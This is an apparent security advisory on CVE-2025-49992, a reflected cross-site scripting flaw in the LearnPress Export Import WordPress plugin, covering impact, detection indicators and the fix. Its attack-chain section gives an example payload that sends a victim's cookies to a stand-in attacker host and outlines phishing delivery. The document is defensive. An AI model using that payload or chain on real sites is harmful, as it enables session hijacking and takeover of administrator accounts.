CVE-2025-49992: 
WordPress vulnerability analysis and mitigation

CVE-2025-49992 is a Reflected Cross-Site Scripting (XSS) vulnerability in the ThimPress LearnPress Export Import WordPress plugin. It affects all versions through 4.0.9 and was reported by researcher LVT-tholv2k on June 22, 2025, with public disclosure on July 22, 2025, and CVE assignment on October 22, 2025. The vulnerability carries a CVSS v3.1 base score of 7.1 (High), as assessed by CISA-ADP (Patchstack, Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Reflected XSS variant. User-supplied input is not properly sanitized or encoded before being reflected back in the HTTP response, allowing an attacker to inject malicious JavaScript into a crafted URL. Exploitation requires no authentication (unauthenticated attacker) but does require user interaction — a privileged user must click a malicious link or visit a crafted page for the payload to execute in their browser context. The scope is changed, meaning the injected script can affect resources beyond the vulnerable component itself (Patchstack).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session hijacking, credential theft, unauthorized administrative actions, or redirection to malicious sites. The changed scope means the impact can extend beyond the plugin itself to the broader WordPress installation. Confidentiality, integrity, and availability are all assessed as low-impact individually, but the combined effect on a WordPress site — particularly if an administrator is targeted — can be significant (Patchstack).

No public proof-of-concept exploit code has been identified at this time. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. There is no evidence of active in-the-wild exploitation or threat actor attribution. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack notes that vulnerabilities of this class are commonly used in mass-exploit campaigns targeting WordPress sites at scale (Patchstack).

1. Reconnaissance: Identify WordPress sites running the LearnPress Export Import plugin version 4.0.9 or earlier using tools like WPScan or Shodan.
2. Identify vulnerable parameter: Locate the plugin endpoint or URL parameter that reflects unsanitized user input in the HTTP response.
3. Craft malicious URL: Construct a URL containing a reflected XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) embedded in the vulnerable parameter.
4. Deliver payload: Send the crafted URL to a target user (e.g., a WordPress administrator) via phishing email, social engineering, or a malicious link.
5. Achieve objective: When the victim clicks the link and their browser renders the reflected response, the injected script executes in their session context, enabling cookie theft, session hijacking, or unauthorized actions on the WordPress site (Patchstack).

• Network: HTTP GET or POST requests to LearnPress Export Import plugin endpoints containing encoded JavaScript payloads (e.g., <script>, javascript:, onerror=, onload=) in URL parameters; unusual outbound connections from the WordPress server following admin user activity.
• Logs: WordPress or web server access logs showing requests with XSS-like strings (e.g., %3Cscript%3E, alert(, document.cookie) in query parameters associated with the learnpress-import-export plugin path.
• File System: Unexpected new admin accounts, modified theme files, or injected scripts in WordPress core/plugin directories that may indicate post-exploitation persistence following a successful session hijack.

Update the LearnPress Export Import plugin to version 4.1.0 or later, which contains the fix for this vulnerability. If an immediate update is not possible, Patchstack offers a virtual patching/mitigation rule to block exploitation attempts until the plugin can be updated. Site administrators should also review user accounts and active sessions for signs of unauthorized access (Patchstack).